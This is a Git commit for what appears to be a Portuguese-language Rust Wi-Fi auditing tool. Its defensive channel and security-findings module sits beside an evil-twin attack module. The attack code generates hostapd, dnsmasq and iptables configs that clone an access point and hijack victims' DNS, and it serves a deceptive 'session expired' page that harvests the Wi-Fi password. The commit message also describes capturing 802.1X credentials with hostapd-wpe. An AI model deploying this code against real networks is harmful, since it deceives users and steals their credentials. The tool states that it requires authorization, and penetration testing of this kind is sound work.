feat: Evil Twin (PSK + Enterprise/802.1X) e achados de análise de canais
- eviltwin.rs: clona um AP já visto na sessão (SSID aberto) numa segunda interface, com portal cativo pedindo a senha de novo. A senha só é aceita se bater de verdade contra o handshake real já capturado (CrackTarget::verify) — não é um "aceita qualquer coisa", é um oráculo criptográfico. Exige handshake quebrável já capturado desse BSSID e autorização explícita, mesma trilha de auditoria dos outros ataques. - eviltwin_enterprise.rs: variante pra redes WPA2/WPA3-Enterprise (802.1X) — nelas a credencial viaja no próprio handshake EAP (PEAP/TTLS-MSCHAPv2), então o cliente autentica sozinho em qualquer AP que anuncie o SSID, sem portal nem ação humana. Orquestra hostapd-wpe (não vendorizado — é um patch no build do hostapd); gera certificado TLS autoassinado e eap_user genérico; parser best-effort do log de credenciais capturadas. Limitação documentada: cliente que valida a cadeia de certificado recusa a conexão. - analysis.rs: achados de segurança (rede aberta, sem PMF, WPS ativo, possível evil twin real por nome duplicado) e recomendação de canal por banda com pontuação de interferência/sobreposição.
This commit is contained in:
1 parent
f83654506e
commit
91aacba939
3 files changed
+1182
No files matched your search
@@ -0,0 +1,486 @@
|
|||||||
|
//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3.
|
||||||
|
//!
|
||||||
|
//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A
|
||||||
|
//! interface usa o resultado para desenhar o gráfico de canais e os alertas;
|
||||||
|
//! o relatório usa o mesmo modelo para não ter duas verdades.
|
||||||
|
|
||||||
|
use crate::radiotap::{self, Band};
|
||||||
|
use crate::scan::AccessPoint;
|
||||||
|
use serde::Serialize;
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct ChannelCandidate {
|
||||||
|
pub channel: u32,
|
||||||
|
pub freq_mhz: u16,
|
||||||
|
pub band: String,
|
||||||
|
pub score: f32,
|
||||||
|
pub aps: usize,
|
||||||
|
pub dfs: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct BandReport {
|
||||||
|
pub band: String,
|
||||||
|
pub candidates: Vec<ChannelCandidate>,
|
||||||
|
pub recommended: Option<u32>,
|
||||||
|
pub used_channels: Vec<u32>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct Finding {
|
||||||
|
pub id: String,
|
||||||
|
pub severity: String,
|
||||||
|
pub title: String,
|
||||||
|
pub detail: String,
|
||||||
|
pub bssid: Option<String>,
|
||||||
|
pub ssid: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct Wpa3Info {
|
||||||
|
pub bssid: String,
|
||||||
|
pub ssid: Option<String>,
|
||||||
|
pub mode: String,
|
||||||
|
pub pmf: bool,
|
||||||
|
pub pmf_required: bool,
|
||||||
|
pub transition: bool,
|
||||||
|
pub notes: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Default)]
|
||||||
|
pub struct Analysis {
|
||||||
|
pub bands: Vec<BandReport>,
|
||||||
|
pub findings: Vec<Finding>,
|
||||||
|
pub wpa3: Vec<Wpa3Info>,
|
||||||
|
pub deauth_60s: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
const BAND_24: &str = "2.4 GHz";
|
||||||
|
const BAND_5: &str = "5 GHz";
|
||||||
|
const BAND_6: &str = "6 GHz";
|
||||||
|
|
||||||
|
fn band_label(band: Band) -> &'static str {
|
||||||
|
match band {
|
||||||
|
Band::B2G4 => BAND_24,
|
||||||
|
Band::B5 => BAND_5,
|
||||||
|
Band::B6 => BAND_6,
|
||||||
|
Band::Unknown => BAND_24,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ap_freq(ap: &AccessPoint) -> Option<(u16, Band)> {
|
||||||
|
if let Some(freq) = ap.freq_mhz {
|
||||||
|
return Some((freq, radiotap::band_for_freq(freq)));
|
||||||
|
}
|
||||||
|
let band = ap.band?;
|
||||||
|
let channel = ap.channel?;
|
||||||
|
radiotap::channel_to_freq(channel, band).map(|freq| (freq, band))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ap_width(ap: &AccessPoint) -> u16 {
|
||||||
|
ap.width_mhz.filter(|w| *w >= 20).unwrap_or(20)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn candidates_for(band: Band) -> Vec<u32> {
|
||||||
|
match band {
|
||||||
|
Band::B2G4 => (1..=14).collect(),
|
||||||
|
Band::B5 => {
|
||||||
|
let mut chans: Vec<u32> = (36..=64).step_by(4).collect();
|
||||||
|
chans.extend((100..=144).step_by(4));
|
||||||
|
chans.extend((149..=177).step_by(4));
|
||||||
|
chans.extend([182, 184, 188, 192, 196]);
|
||||||
|
chans
|
||||||
|
}
|
||||||
|
Band::B6 => (1..=233).step_by(4).collect(),
|
||||||
|
Band::Unknown => Vec::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn is_dfs(channel: u32) -> bool {
|
||||||
|
(52..=64).contains(&channel) || (100..=144).contains(&channel)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn signal_weight(dbm: Option<i8>) -> f32 {
|
||||||
|
let dbm = dbm.unwrap_or(-75) as f32;
|
||||||
|
(1.0 - ((-dbm - 30.0) / 70.0)).clamp(0.15, 1.0)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn overlap_score(candidate_freq: u16, aps: &[(u16, u16, f32)]) -> (f32, usize) {
|
||||||
|
let half = 10.0f32;
|
||||||
|
let mut score = 0.0f32;
|
||||||
|
let mut count = 0usize;
|
||||||
|
for (freq, width, weight) in aps {
|
||||||
|
let ap_half = *width as f32 / 2.0;
|
||||||
|
let lo = (candidate_freq as f32 - half).max(*freq as f32 - ap_half);
|
||||||
|
let hi = (candidate_freq as f32 + half).min(*freq as f32 + ap_half);
|
||||||
|
let overlap = (hi - lo).max(0.0) / (half * 2.0);
|
||||||
|
if overlap > 0.0 {
|
||||||
|
score += overlap * weight;
|
||||||
|
count += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(score, count)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn band_report(band: Band, aps: &[&AccessPoint]) -> BandReport {
|
||||||
|
let mut occupied: Vec<(u16, u16, f32)> = Vec::new();
|
||||||
|
let mut used = Vec::new();
|
||||||
|
for ap in aps {
|
||||||
|
let Some((freq, _)) = ap_freq(ap) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
occupied.push((
|
||||||
|
freq,
|
||||||
|
ap_width(ap),
|
||||||
|
signal_weight(ap.signal_dbm.or(ap.max_signal_dbm)),
|
||||||
|
));
|
||||||
|
if let Some(ch) = ap.channel {
|
||||||
|
used.push(ch);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
used.sort_unstable();
|
||||||
|
used.dedup();
|
||||||
|
|
||||||
|
let mut candidates: Vec<ChannelCandidate> = candidates_for(band)
|
||||||
|
.into_iter()
|
||||||
|
.filter_map(|channel| {
|
||||||
|
radiotap::channel_to_freq(channel, band).map(|freq| {
|
||||||
|
let (score, count) = overlap_score(freq, &occupied);
|
||||||
|
ChannelCandidate {
|
||||||
|
channel,
|
||||||
|
freq_mhz: freq,
|
||||||
|
band: band_label(band).to_string(),
|
||||||
|
score: (score * 1000.0).round() / 1000.0,
|
||||||
|
aps: count,
|
||||||
|
dfs: is_dfs(channel),
|
||||||
|
}
|
||||||
|
})
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
let preferred: Vec<u32> = match band {
|
||||||
|
Band::B2G4 => vec![1, 6, 11],
|
||||||
|
_ => Vec::new(),
|
||||||
|
};
|
||||||
|
let recommended = if preferred.is_empty() {
|
||||||
|
candidates
|
||||||
|
.iter()
|
||||||
|
.filter(|c| !c.dfs)
|
||||||
|
.min_by(|a, b| a.score.total_cmp(&b.score))
|
||||||
|
.or_else(|| candidates.iter().min_by(|a, b| a.score.total_cmp(&b.score)))
|
||||||
|
.map(|c| c.channel)
|
||||||
|
} else {
|
||||||
|
preferred
|
||||||
|
.into_iter()
|
||||||
|
.filter_map(|ch| candidates.iter().find(|c| c.channel == ch))
|
||||||
|
.min_by(|a, b| a.score.total_cmp(&b.score))
|
||||||
|
.map(|c| c.channel)
|
||||||
|
};
|
||||||
|
|
||||||
|
candidates.sort_by(|a, b| {
|
||||||
|
a.score
|
||||||
|
.total_cmp(&b.score)
|
||||||
|
.then_with(|| a.channel.cmp(&b.channel))
|
||||||
|
});
|
||||||
|
candidates.truncate(8);
|
||||||
|
BandReport {
|
||||||
|
band: band_label(band).to_string(),
|
||||||
|
candidates,
|
||||||
|
recommended,
|
||||||
|
used_channels: used,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn finding(
|
||||||
|
id: &str,
|
||||||
|
severity: &str,
|
||||||
|
title: impl Into<String>,
|
||||||
|
detail: impl Into<String>,
|
||||||
|
ap: Option<&AccessPoint>,
|
||||||
|
) -> Finding {
|
||||||
|
Finding {
|
||||||
|
id: id.into(),
|
||||||
|
severity: severity.into(),
|
||||||
|
title: title.into(),
|
||||||
|
detail: detail.into(),
|
||||||
|
bssid: ap.map(|a| a.bssid.clone()),
|
||||||
|
ssid: ap.and_then(|a| a.ssid.clone()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn security_rank(security: Option<&str>) -> u8 {
|
||||||
|
match security {
|
||||||
|
Some("Open") => 0,
|
||||||
|
Some("WEP") => 1,
|
||||||
|
Some("WPA") => 2,
|
||||||
|
Some("WPA2-EAP") => 3,
|
||||||
|
Some("WPA2") => 4,
|
||||||
|
Some("WPA2/WPA3") => 5,
|
||||||
|
Some("WPA3-EAP") => 6,
|
||||||
|
Some("WPA3") => 7,
|
||||||
|
Some("OWE") => 4,
|
||||||
|
_ => 3,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wpa3_info(ap: &AccessPoint) -> Option<Wpa3Info> {
|
||||||
|
let sec = ap.security.as_deref()?;
|
||||||
|
let is_wpa3 = sec.contains("WPA3") || sec == "OWE";
|
||||||
|
if !is_wpa3 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let transition = sec == "WPA2/WPA3";
|
||||||
|
let mut notes = Vec::new();
|
||||||
|
if transition {
|
||||||
|
notes.push(
|
||||||
|
"Modo de transição aceita WPA2: um cliente pode ser induzido a usar o modo mais fraco."
|
||||||
|
.into(),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if !ap.pmf {
|
||||||
|
notes
|
||||||
|
.push("PMF não anunciado; WPA3 pressupõe proteção de quadros de gerenciamento.".into());
|
||||||
|
} else if !ap.pmf_required && !transition {
|
||||||
|
notes.push("PMF suportado, mas não obrigatório.".into());
|
||||||
|
}
|
||||||
|
if ap.wps {
|
||||||
|
notes.push("WPS ativo em rede WPA3 — combinação incomum e enfraquece o conjunto.".into());
|
||||||
|
}
|
||||||
|
if ap.wps_locked == Some(false) {
|
||||||
|
notes.push("WPS destravado: PIN pode ser testado.".into());
|
||||||
|
}
|
||||||
|
Some(Wpa3Info {
|
||||||
|
bssid: ap.bssid.clone(),
|
||||||
|
ssid: ap.ssid.clone(),
|
||||||
|
mode: sec.to_string(),
|
||||||
|
pmf: ap.pmf,
|
||||||
|
pmf_required: ap.pmf_required,
|
||||||
|
transition,
|
||||||
|
notes,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis {
|
||||||
|
let mut findings = Vec::new();
|
||||||
|
let mut wpa3 = Vec::new();
|
||||||
|
|
||||||
|
let bands = [Band::B2G4, Band::B5, Band::B6]
|
||||||
|
.into_iter()
|
||||||
|
.filter_map(|band| {
|
||||||
|
let filtered: Vec<&AccessPoint> = aps
|
||||||
|
.iter()
|
||||||
|
.filter(|ap| ap_freq(ap).is_some_and(|(_, b)| b == band))
|
||||||
|
.collect();
|
||||||
|
if filtered.is_empty() {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some(band_report(band, &filtered))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
// SSID anunciado com seguranças diferentes é o sinal clássico de evil
|
||||||
|
// twin — legítimo costuma manter o mesmo conjunto em todos os rádios.
|
||||||
|
let mut by_ssid: HashMap<String, Vec<&AccessPoint>> = HashMap::new();
|
||||||
|
for ap in aps {
|
||||||
|
if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
by_ssid.entry(ssid.to_string()).or_default().push(ap);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (ssid, group) in &by_ssid {
|
||||||
|
if group.len() < 2 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let mut ranks: Vec<u8> = group
|
||||||
|
.iter()
|
||||||
|
.map(|a| security_rank(a.security.as_deref()))
|
||||||
|
.collect();
|
||||||
|
ranks.sort_unstable();
|
||||||
|
ranks.dedup();
|
||||||
|
if ranks.len() > 1 {
|
||||||
|
let detail = group
|
||||||
|
.iter()
|
||||||
|
.map(|a| format!("{} ({})", a.bssid, a.security.as_deref().unwrap_or("—")))
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join(", ");
|
||||||
|
findings.push(finding(
|
||||||
|
"evil_twin_security",
|
||||||
|
"bad",
|
||||||
|
format!("SSID “{ssid}” com seguranças diferentes"),
|
||||||
|
format!("O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {detail}. Pode ser um evil twin ou um AP mal configurado."),
|
||||||
|
None,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if deauth_60s >= 40 {
|
||||||
|
findings.push(finding(
|
||||||
|
"deauth_flood",
|
||||||
|
"bad",
|
||||||
|
"Rajada de desautenticação",
|
||||||
|
format!("{deauth_60s} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável."),
|
||||||
|
None,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
let recent_aps = aps
|
||||||
|
.iter()
|
||||||
|
.filter(|a| now.saturating_sub(a.first_seen_unix) <= 60)
|
||||||
|
.count();
|
||||||
|
if recent_aps >= 60 {
|
||||||
|
findings.push(finding(
|
||||||
|
"beacon_flood",
|
||||||
|
"warn",
|
||||||
|
"Muitos BSSIDs novos",
|
||||||
|
format!("{recent_aps} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso."),
|
||||||
|
None,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
for ap in aps {
|
||||||
|
let label = ap
|
||||||
|
.ssid
|
||||||
|
.clone()
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.unwrap_or_else(|| ap.bssid.clone());
|
||||||
|
match ap.security.as_deref() {
|
||||||
|
Some("Open") => findings.push(finding(
|
||||||
|
"open",
|
||||||
|
"bad",
|
||||||
|
format!("Rede aberta: {label}"),
|
||||||
|
"Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.",
|
||||||
|
Some(ap),
|
||||||
|
)),
|
||||||
|
Some("WEP") => findings.push(finding(
|
||||||
|
"wep",
|
||||||
|
"bad",
|
||||||
|
format!("WEP em {label}"),
|
||||||
|
"WEP é quebrável em minutos; trate a rede como aberta.",
|
||||||
|
Some(ap),
|
||||||
|
)),
|
||||||
|
Some("WPA") => findings.push(finding(
|
||||||
|
"wpa1",
|
||||||
|
"warn",
|
||||||
|
format!("WPA1 (TKIP) em {label}"),
|
||||||
|
"WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.",
|
||||||
|
Some(ap),
|
||||||
|
)),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
if ap.wps {
|
||||||
|
findings.push(finding(
|
||||||
|
"wps",
|
||||||
|
if ap.wps_locked == Some(true) {
|
||||||
|
"info"
|
||||||
|
} else {
|
||||||
|
"warn"
|
||||||
|
},
|
||||||
|
format!("WPS ativo em {label}"),
|
||||||
|
if ap.wps_locked == Some(true) {
|
||||||
|
"O AP anuncia WPS com configuração travada."
|
||||||
|
} else {
|
||||||
|
"WPS sem lock explícito; PIN pode ser testado com reaver/bully."
|
||||||
|
},
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if !ap.pmf
|
||||||
|
&& matches!(
|
||||||
|
ap.security.as_deref(),
|
||||||
|
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
|
||||||
|
)
|
||||||
|
{
|
||||||
|
findings.push(finding(
|
||||||
|
"no_pmf",
|
||||||
|
"warn",
|
||||||
|
format!("Sem PMF em {label}"),
|
||||||
|
"Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.",
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if ap.pmf_required && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) && !ap.pmf
|
||||||
|
{
|
||||||
|
findings.push(finding(
|
||||||
|
"pmf_inconsistent",
|
||||||
|
"warn",
|
||||||
|
format!("PMF inconsistente em {label}"),
|
||||||
|
"O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.",
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if ap.wps && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) {
|
||||||
|
findings.push(finding(
|
||||||
|
"wpa3_wps",
|
||||||
|
"warn",
|
||||||
|
format!("WPA3 com WPS em {label}"),
|
||||||
|
"WPS não faz parte do WPA3 e abre uma via mais fraca de associação.",
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if let Some(info) = wpa3_info(ap) {
|
||||||
|
wpa3.push(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
findings.sort_by_key(|f| match f.severity.as_str() {
|
||||||
|
"bad" => 0,
|
||||||
|
"warn" => 1,
|
||||||
|
_ => 2,
|
||||||
|
});
|
||||||
|
Analysis {
|
||||||
|
bands,
|
||||||
|
findings,
|
||||||
|
wpa3,
|
||||||
|
deauth_60s,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::scan::ScanTable;
|
||||||
|
use crate::testutil::{ap, beacon_frame, radiotap_wrap};
|
||||||
|
|
||||||
|
fn ingest(table: &mut ScanTable, ssid: &str, channel: u8, signal: i8, akms: &[u8]) {
|
||||||
|
let frame = beacon_frame(ap(), ssid, channel, akms);
|
||||||
|
table.ingest_at(
|
||||||
|
&radiotap_wrap(&frame, 2407 + channel as u16 * 5, signal),
|
||||||
|
100,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn recommends_16_or_11_in_24() {
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
ingest(&mut table, "Casa", 6, -40, &[2]);
|
||||||
|
let result = table.analysis();
|
||||||
|
let band = result
|
||||||
|
.bands
|
||||||
|
.iter()
|
||||||
|
.find(|b| b.band == BAND_24)
|
||||||
|
.expect("2.4");
|
||||||
|
assert!(matches!(band.recommended, Some(1 | 6 | 11)));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn flags_same_ssid_with_different_security() {
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
ingest(&mut table, "Loja", 6, -40, &[2]);
|
||||||
|
let twin = beacon_frame([0x02, 0x11, 0x22, 0x33, 0x44, 0x55], "Loja", 11, &[]);
|
||||||
|
table.ingest_at(&radiotap_wrap(&twin, 2462, -50), 100);
|
||||||
|
let result = table.analysis();
|
||||||
|
assert!(result.findings.iter().any(|f| f.id == "evil_twin_security"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn flags_wps_and_weak_networks() {
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
let frame = beacon_frame(ap(), "Antiga", 1, &[]);
|
||||||
|
table.ingest_at(&radiotap_wrap(&frame, 2412, -60), 100);
|
||||||
|
let result = table.analysis();
|
||||||
|
assert!(result
|
||||||
|
.findings
|
||||||
|
.iter()
|
||||||
|
.any(|f| f.id == "wep" || f.id == "open"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,472 @@
|
|||||||
|
//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto,
|
||||||
|
//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação
|
||||||
|
//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de
|
||||||
|
//! verdade por uma página de "reconectar", como qualquer portal cativo de
|
||||||
|
//! hotel/aeroporto faz.
|
||||||
|
//!
|
||||||
|
//! A diferença pro phishing comum: a senha digitada **nunca é aceita de
|
||||||
|
//! graça**. É conferida na hora contra o handshake real já capturado
|
||||||
|
//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado
|
||||||
|
//! na quebra por dicionário) — só confirma "conectado" quando a senha bate
|
||||||
|
//! de verdade com a rede. Isso também evita que a página vire um jeito de
|
||||||
|
//! coletar qualquer string digitada: ela só diz "certo" pra senha certa.
|
||||||
|
//!
|
||||||
|
//! Só funciona contra um AP que já apareceu na sessão de captura atual (não
|
||||||
|
//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização
|
||||||
|
//! explícita das outras abas de ataque.
|
||||||
|
|
||||||
|
use crate::crack::CrackTarget;
|
||||||
|
use std::fmt::Write as _;
|
||||||
|
|
||||||
|
/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito —
|
||||||
|
/// é o portal cativo que pede a senha, não o rádio. Praticamente todo
|
||||||
|
/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o
|
||||||
|
/// SSID certo, sem perguntar nada ao usuário.
|
||||||
|
pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String {
|
||||||
|
let mut out = String::new();
|
||||||
|
let _ = writeln!(out, "interface={iface}");
|
||||||
|
let _ = writeln!(out, "driver=nl80211");
|
||||||
|
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
||||||
|
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
||||||
|
let _ = writeln!(out, "channel={channel}");
|
||||||
|
let _ = writeln!(out, "auth_algs=1");
|
||||||
|
let _ = writeln!(out, "wmm_enabled=1");
|
||||||
|
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
||||||
|
if let Some(bssid) = bssid {
|
||||||
|
let _ = writeln!(out, "bssid={bssid}");
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve
|
||||||
|
/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/
|
||||||
|
/// Windows usam pra detectar portal cativo (é o que faz o popup de login
|
||||||
|
/// abrir sozinho no dispositivo da vítima).
|
||||||
|
pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String {
|
||||||
|
let mut out = String::new();
|
||||||
|
let _ = writeln!(out, "interface={iface}");
|
||||||
|
let _ = writeln!(out, "bind-interfaces");
|
||||||
|
let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1);
|
||||||
|
let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway
|
||||||
|
let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS
|
||||||
|
let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós
|
||||||
|
let _ = writeln!(out, "no-resolv");
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada
|
||||||
|
/// `Vec<String>` é um `iptables <args>`) pra mandar todo HTTP da sub-rede do
|
||||||
|
/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra
|
||||||
|
/// internet de propósito — o clone nunca dá acesso de verdade, só o portal.
|
||||||
|
pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
|
||||||
|
let redirect = |proto: &str, dport: u16| {
|
||||||
|
vec![
|
||||||
|
"-t".into(),
|
||||||
|
"nat".into(),
|
||||||
|
"-A".into(),
|
||||||
|
"PREROUTING".into(),
|
||||||
|
"-i".into(),
|
||||||
|
iface.into(),
|
||||||
|
"-p".into(),
|
||||||
|
proto.into(),
|
||||||
|
"--dport".into(),
|
||||||
|
dport.to_string(),
|
||||||
|
"-j".into(),
|
||||||
|
"REDIRECT".into(),
|
||||||
|
"--to-port".into(),
|
||||||
|
portal_port.to_string(),
|
||||||
|
]
|
||||||
|
};
|
||||||
|
vec![redirect("tcp", 80)]
|
||||||
|
}
|
||||||
|
|
||||||
|
/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job.
|
||||||
|
pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
|
||||||
|
iptables_rules(iface, portal_port)
|
||||||
|
.into_iter()
|
||||||
|
.map(|mut rule| {
|
||||||
|
if let Some(a) = rule.iter_mut().find(|a| *a == "-A") {
|
||||||
|
*a = "-D".into();
|
||||||
|
}
|
||||||
|
rule
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn sanitize_conf_value(value: &str) -> String {
|
||||||
|
// hostapd.conf não escapa valores — corta quebra de linha, que seria
|
||||||
|
// injeção de outra diretiva de config.
|
||||||
|
value.replace(['\n', '\r'], "")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resultado de uma tentativa de login no portal.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub enum PortalAttempt {
|
||||||
|
/// Senha bateu com o handshake real — confirmado criptograficamente,
|
||||||
|
/// não é só "aceitar o que a pessoa digitou".
|
||||||
|
Correct,
|
||||||
|
WrongPassword,
|
||||||
|
/// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso.
|
||||||
|
InvalidLength,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Confere a senha submetida no portal contra o handshake real do alvo —
|
||||||
|
/// mesma verificação criptográfica usada na quebra por dicionário
|
||||||
|
/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado"
|
||||||
|
/// quando isso bate; do contrário, pede de novo, exatamente como um portal
|
||||||
|
/// cativo legítimo faria com uma senha errada.
|
||||||
|
pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
|
||||||
|
if !(8..=63).contains(&password.len()) {
|
||||||
|
return PortalAttempt::InvalidLength;
|
||||||
|
}
|
||||||
|
if target.verify(password) {
|
||||||
|
PortalAttempt::Correct
|
||||||
|
} else {
|
||||||
|
PortalAttempt::WrongPassword
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Página de login do portal — pede a senha da rede clonada. Texto genérico
|
||||||
|
/// de "reconectar à rede", sem imitar nenhuma marca específica.
|
||||||
|
pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String {
|
||||||
|
let notice = if wrong_password {
|
||||||
|
r#"<p class="err">Senha incorreta. Tente de novo.</p>"#
|
||||||
|
} else {
|
||||||
|
""
|
||||||
|
};
|
||||||
|
format!(
|
||||||
|
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>Conectar à rede</title>
|
||||||
|
<style>
|
||||||
|
body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;display:flex;
|
||||||
|
align-items:center;justify-content:center;min-height:100vh;margin:0}}
|
||||||
|
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}
|
||||||
|
h1{{font-size:18px;margin:0 0 6px}}
|
||||||
|
p.sub{{color:#999;font-size:13px;margin:0 0 18px}}
|
||||||
|
p.err{{color:#ff6961;font-size:13px}}
|
||||||
|
input{{width:100%;box-sizing:border-box;padding:12px;border-radius:10px;border:0;
|
||||||
|
background:#2c2c2e;color:#eee;font-size:15px;margin-bottom:12px}}
|
||||||
|
button{{width:100%;padding:12px;border-radius:10px;border:0;background:#f59e0b;
|
||||||
|
color:#1f1300;font-weight:600;font-size:15px}}
|
||||||
|
</style></head><body>
|
||||||
|
<form class="card" method="post" action="/connect">
|
||||||
|
<h1>Reconectar a “{ssid}”</h1>
|
||||||
|
<p class="sub">A sessão expirou. Digite a senha da rede Wi-Fi pra continuar conectado.</p>
|
||||||
|
{notice}
|
||||||
|
<input type="password" name="password" placeholder="Senha da rede" autofocus required minlength="8" maxlength="63">
|
||||||
|
<button type="submit">Conectar</button>
|
||||||
|
</form>
|
||||||
|
</body></html>"#,
|
||||||
|
ssid = html_escape(ssid),
|
||||||
|
notice = notice,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn portal_success_html(ssid: &str) -> String {
|
||||||
|
format!(
|
||||||
|
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>Conectado</title>
|
||||||
|
<style>body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;
|
||||||
|
display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;text-align:center}}
|
||||||
|
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}</style>
|
||||||
|
